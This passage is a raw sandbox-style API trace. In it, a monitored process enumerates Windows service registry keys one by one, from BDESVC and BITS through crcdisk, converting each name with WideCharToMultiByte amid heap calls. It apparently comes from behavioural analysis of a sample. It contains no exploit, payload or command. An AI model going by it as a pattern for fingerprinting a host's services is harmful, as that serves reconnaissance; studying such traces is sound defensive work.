[0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0188.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.331] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0188.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.332] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.333] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.333] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.333] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0188.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.334] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.334] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.334] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.334] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.335] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0188.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0188.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0188.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, 